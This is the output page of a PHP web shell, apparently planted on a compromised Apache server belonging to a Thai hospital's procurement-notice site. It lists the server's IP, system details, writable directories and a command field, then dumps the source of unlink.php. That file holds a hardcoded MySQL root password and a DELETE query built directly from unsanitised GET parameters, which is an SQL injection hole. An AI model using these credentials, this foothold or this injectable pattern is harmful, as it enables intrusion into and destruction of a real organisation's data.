403Webshell
Server IP : 182.53.201.61  /  Your IP : 216.73.217.175
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/upload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/upload/unlink.php
<?
session_start();
session_destroy();
?>
<html>
<head>
<title>หน้าลบข่าวประกวดราคา สอบราคา</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style type="text/css">
<!--
.style2 {
	color: #DD8373;
	font-weight: bold;
}
.style5 {color: #006666}
.style6 {color: #3399FF}
.style7 {font-size: 18px}
.style10 {color: #00CC00}
-->
</style>
</head>
<body>
<p align="center">&nbsp;</p>
<p align="center"><span class="style2">เอกสารประกาศประกวดราคา สอบราคา โรงพยาบาลสัตหีบ กม.10</span><br>
  <?
	$objConnect = mysql_connect("localhost","root","090407") or die("Error Connect to Database");
	$objDB = mysql_select_db("upload");
	mysql_query("SET NAMES UTF8");
	$strSQL = "SELECT * FROM files order by FilesID desc";
	$objQuery = mysql_query($strSQL) or die ("Error Query [".$strSQL."]");
?>
</p>
<table width="785" height="106" border="0" align="center">
<tr>
  <th height="25" colspan="4" bgcolor="#D2FFFF"><div align="left" class="style7">
    <div align="right"><a href="../index2.php" class="style6" style="text-decoration: none;">&nbsp;&nbsp;หน้าแรก &nbsp;&nbsp;</a><span class="style10">||</span>&nbsp;&nbsp;<a href="upload1.html" class="style6" style="text-decoration: none;">หน้าอัพโหลด</a></div>
  </div></th>
  </tr>
<tr>
<th width="54" height="51" bgcolor="#D2FFFF"> <div align="center" class="style5">ลำดับที่ </div></th>
<th width="525" bordercolor="#FF3333" bgcolor="#D2FFFF"><div align="center" class="style5">ชื่อเรืองประกาศข่าวประกวดราคา สอบราคา</div></th>
<th width="94" bgcolor="#D2FFFF"><div align="center"><span class="style5">วันที่ลงประกาศ</span></div></th>
<th width="94" bgcolor="#D2FFFF"><span class="style5">ลบข่าว</span></th>
</tr>
<?
	while($objResult = mysql_fetch_array($objQuery))
	{
?>
<tr>
<td height="22"><div align="center">
  <?=$objResult["FilesID"];?>
</div></td>
<td bordercolor="#FF3333"><div align="left"><a href="myfile/<?=$objResult["FilesName"];?>">
  <?=$objResult["FilesName"];?><br><br>
</a></div></td>
<td><div align="center">
  <?
	$dateprt = substr($objResult["DateTime"], 0,10);
	echo $dateprt; 
	?>
</div></td>
<td><?php
    
/////////////ส่วนลบไฟล์

$uid3=$_GET['FilesID'];
//echo"$uid";
$name3=$_GET['FilesName'];
///จัดการลบข้อมูลในdatabase
if($uid3==''){

}else{
$strSQL3 = "DELETE FROM files WHERE FilesName='$name3'";
$delete="upload/$id/"; //ใช้ในการทดสอบ
@unlink($delete);
echo"$delete";
$objQuery3 = mysql_query($strSQL3);
}
if($objQuery3==''){

}else{
	echo "ข้อมูลของท่านได้ถูกลบไปแล้วครับ";
}

/////////////ส่วนลบไฟล์
?>

</td>
</tr>
<?
	}
?>
</table>
<?
mysql_close($objConnect);
?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit